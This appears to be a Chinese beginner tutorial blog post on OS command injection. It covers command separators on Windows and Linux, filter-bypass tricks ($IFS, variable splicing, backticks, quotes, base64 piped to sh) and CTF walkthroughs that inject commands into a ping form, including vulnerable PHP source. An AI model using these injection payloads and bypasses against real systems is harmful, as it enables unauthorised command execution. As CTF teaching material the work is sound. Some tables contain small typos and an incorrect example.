WEB入门——命令连接与绕过

一、常见连接命令

1.1 Windows 下连接两条命令

命令符合说明使用
|直接执行后面的语句ping www.baidu.com | whoani
||如果前面的语句执行错误,则执行后面的语句ping 2 || whoami
&前面的语句可真可假ping 2 & whoami
&&前面的语句为真时,才执行后面的语句ping www.baid.com && whoami
C:\Users\Administrator>ping baidu.com | whoami
user-20230324oe\administrator

C:\Users\Administrator>ping baidu.com || whoami

正在 Ping baidu.com [110.242.68.66] 具有 32 字节的数据:
来自 110.242.68.66 的回复: 字节=32 时间=37ms TTL=50
Cuser-20230324oe\administrator

C:\Users\Administrator>ping 2 || whoami 
正在 Ping 0.0.0.2 具有 32 字节的数据:
PING:传输失败。常见故障。  
user-20230324oe\administrator

C:\Users\Administrator>ping 2 & whoami

正在 Ping 0.0.0.2 具有 32 字节的数据:
PING:传输失败。常见故障。 
user-20230324oe\administrator

C:\Users\Administrator>ping baidu.com & whoami

正在 Ping baidu.com [110.242.68.66] 具有 32 字节的数据:
来自 110.242.68.66 的回复: 字节=32 时间=37ms TTL=50 
Cuser-20230324oe\administrator

C:\Users\Administrator>ping baidu.com && whoami

正在 Ping baidu.com [110.242.68.66] 具有 32 字节的数据:
来自 110.242.68.66 的回复: 字节=32 时间=37ms TTL=50 
user-20230324oe\administrator

C:\Users\Administrator>ping 2 && whoami

正在 Ping 0.0.0.2 具有 32 字节的数据:
PING:传输失败。常见故障。 

1.2 Linux 下连接两条命令

命令符合说明使用
|管道符,直接执行后面的语句ping -c 4 127.0.0.1 | whoani
||如果前面的语句执行错误,则执行后面的语句ping -c 4 2 || whoami
;执行完前面的,直接执行后面的ping -c 4 127.0.0.1 & whoami
&&前面的语句为真时,才执行后面的语句ping -c 4 127.0.0.1 && whoami
┌──(root㉿192)-[~]
└─ ping -c 4 127.0.0.1 ; whoami
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.083 ms
64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.058 ms

--- 127.0.0.1 ping statistics ---
4 packets transmitted, 2 received, 50% packet loss, time 2997ms
rtt min/avg/max/mdev = 0.058/0.070/0.083/0.012 ms
root
                                                                                                                                        
┌──(root㉿192)-[~]
└─ ping -c 4 127.0.0.1 | whoami
root
                                                                                                                                        
┌──(root㉿192)-[~]
└─ ping -c 4 127.0.0 || whoami 
PING 127.0.0 (127.0.0.0) 56(84) bytes of data.
64 bytes from 127.0.0.0: icmp_seq=2 ttl=64 time=0.085 ms
64 bytes from 127.0.0.0: icmp_seq=3 ttl=64 time=0.091 ms
64 bytes from 127.0.0.0: icmp_seq=4 ttl=64 time=0.082 ms

--- 127.0.0 ping statistics ---
4 packets transmitted, 3 received, 25% packet loss, time 2997ms
rtt min/avg/max/mdev = 0.082/0.086/0.091/0.003 ms
                                                                                                                                        
┌──(root㉿192)-[~]
└─ ping -c 4 127 || whoami 
PING 127 (0.0.0.127) 56(84) bytes of data.
From 192.168.15.132 icmp_seq=1 Destination Host Unreachable
From 192.168.15.132 icmp_seq=2 Destination Host Unreachable
From 192.168.15.132 icmp_seq=3 Destination Host Unreachable
From 192.168.15.132 icmp_seq=4 Destination Host Unreachable

--- 127 ping statistics ---
4 packets transmitted, 0 received, +4 errors, 100% packet loss, time 2997ms
pipe 4
root
                                                                                                                                        
┌──(root㉿192)-[~]
└─ ping -c 4 127.0.0.1 && whoami
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.057 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.064 ms

--- 127.0.0.1 ping statistics ---
4 packets transmitted, 2 received, 50% packet loss, time 2999ms
rtt min/avg/max/mdev = 0.057/0.060/0.064/0.003 ms
root

1.3 CTF练习

  • [ACTF2020 新生赛]Exec
    在这里插入图片描述
  • 尝试输入 baidu.com | ls,很顺利的就拿到了index.php,所以本题好像没有什么过滤规则。
    在这里插入图片描述
  • 继续查看index.php文件。baidu.com|cat index.php。虽然页面显示了两个PING输入框,但是查看源码,发现下面多了一段PHP代码。
    在这里插入图片描述
  • flag不在当前目录下,继续寻找flag,baidu.com | ls …/… ,目录下依旧没有。 baidu.com | ls …/…/… 找找到了flag文件。最后baidu.com | cat …/…/…/flag 查看内容。
    在这里插入图片描述

二、绕过

有时候会碰到,WAF过滤了一些关键字或者空格。这时候需要我们避开这些关键字或空格。

2.1 空格绕过

  • $IFS$1 :内部域分隔符

    $0        Shell本身的文件名
    $1$n 	  添加到Shell的各参数值。$1是第1参数、$2是第2参数…
    $$        Shell本身的PID(ProcessID) 
    $!        Shell最后运行的后台Process的PID
    $?        上个命令的退出状态,或函数的返回值 $- 使用Set命令设定的Flag一览
    $*        所有参数列表,不包括脚本本身。如"$*"用「"」括起来的情况、以"$1 $2$n"的形式输出所有数。
    $@        所有参数列表。如"$@"用「"」括起来的情况、以"$1" "$2""$n" 的形式输出所有参数。
    $#        Shell的参数个数
    
  • {cat,flag}

  • cat<flag

  • cat<>flag

    ┌──(root㉿192)-[~/桌面/zaxiang]
    └─ cat<flag  
    flag{akdjfweifjklajsdf}
                                                                                                                                           
    ┌──(root㉿192)-[~/桌面/zaxiang]
    └─ cat<>flag
    flag{akdjfweifjklajsdf}	
    

2.2 关键词绕过

  • 变量拼接

    ┌──(root㉿192)-[~/桌面/zaxiang]
    └─ a=fl;b=ag;cat $a$b         
    flag{akdjfweifjklajsdf}
    
  • 反应号

    ┌──(root㉿192)-[~/桌面/zaxiang]
    └─ cat fl`fjlajsdfj`ag
    fjlajsdfj:未找到命令
    flag{akdjfweifjklajsdf}
    
  • 反斜杠

    ┌──(root㉿192)-[~/桌面/zaxiang]
    └─ cat fl\            
    > ag                
    flag{akdjfweifjklajsdf}
    
  • 引号

    ┌──(root㉿192)-[~/桌面/zaxiang]
    └─ cat fl'a'g
    flag{akdjfweifjklajsdf}
    
  • 编码绕过

    ──(root㉿192)-[~/桌面/zaxiang]
    └─ echo Y2F0IGZsYWc=|base64 -d|sh   #  Y2F0IGZsYWc= 是 cat flag 的base64编码
    flag{akdjfweifjklajsdf}
    

2.4 CTF 练习

  • [GXYCTF2019]Ping Ping Ping
    在这里插入图片描述

  • 打开题目连接,就是上面的界面,提交 /?ip=baidu.com|ls。显示在当前目录下有flag.php和index.php。
    在这里插入图片描述

  • 输入baidu.com|cat flag.php,发现服务器识别了空格。于是输入baidu.com|cat<>flag.php ,服务器也识别了符号。
    在这里插入图片描述

  • 尝试使用$IFS 命令绕过空格,结果flag被过滤了。那我们先看看index.php的内容
    在这里插入图片描述

  • baidu.com|cat$IFS$1index.php 得到index.php的内容。

    <?php
    if(isset($_GET['ip'])){
      $ip = $_GET['ip'];
      if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
        echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
        die("fxck your symbol!");
      } else if(preg_match("/ /", $ip)){
        die("fxck your space!");
      } else if(preg_match("/bash/", $ip)){
        die("fxck your bash!");
      } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
        die("fxck your flag!");
      }
      $a = shell_exec("ping -c 4 ".$ip);
      echo "<pre>";
      print_r($a);
    }
    ?>
    
  • 分析index.php的内容,可以知道过滤了&、<、>、*、{、}、(、)等,试着用编码绕过。

    baidu.com|echo$IFS$1Y2F0ICBmbGFnLnBocA==|base64$IFS$1-d|sh
    

    在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值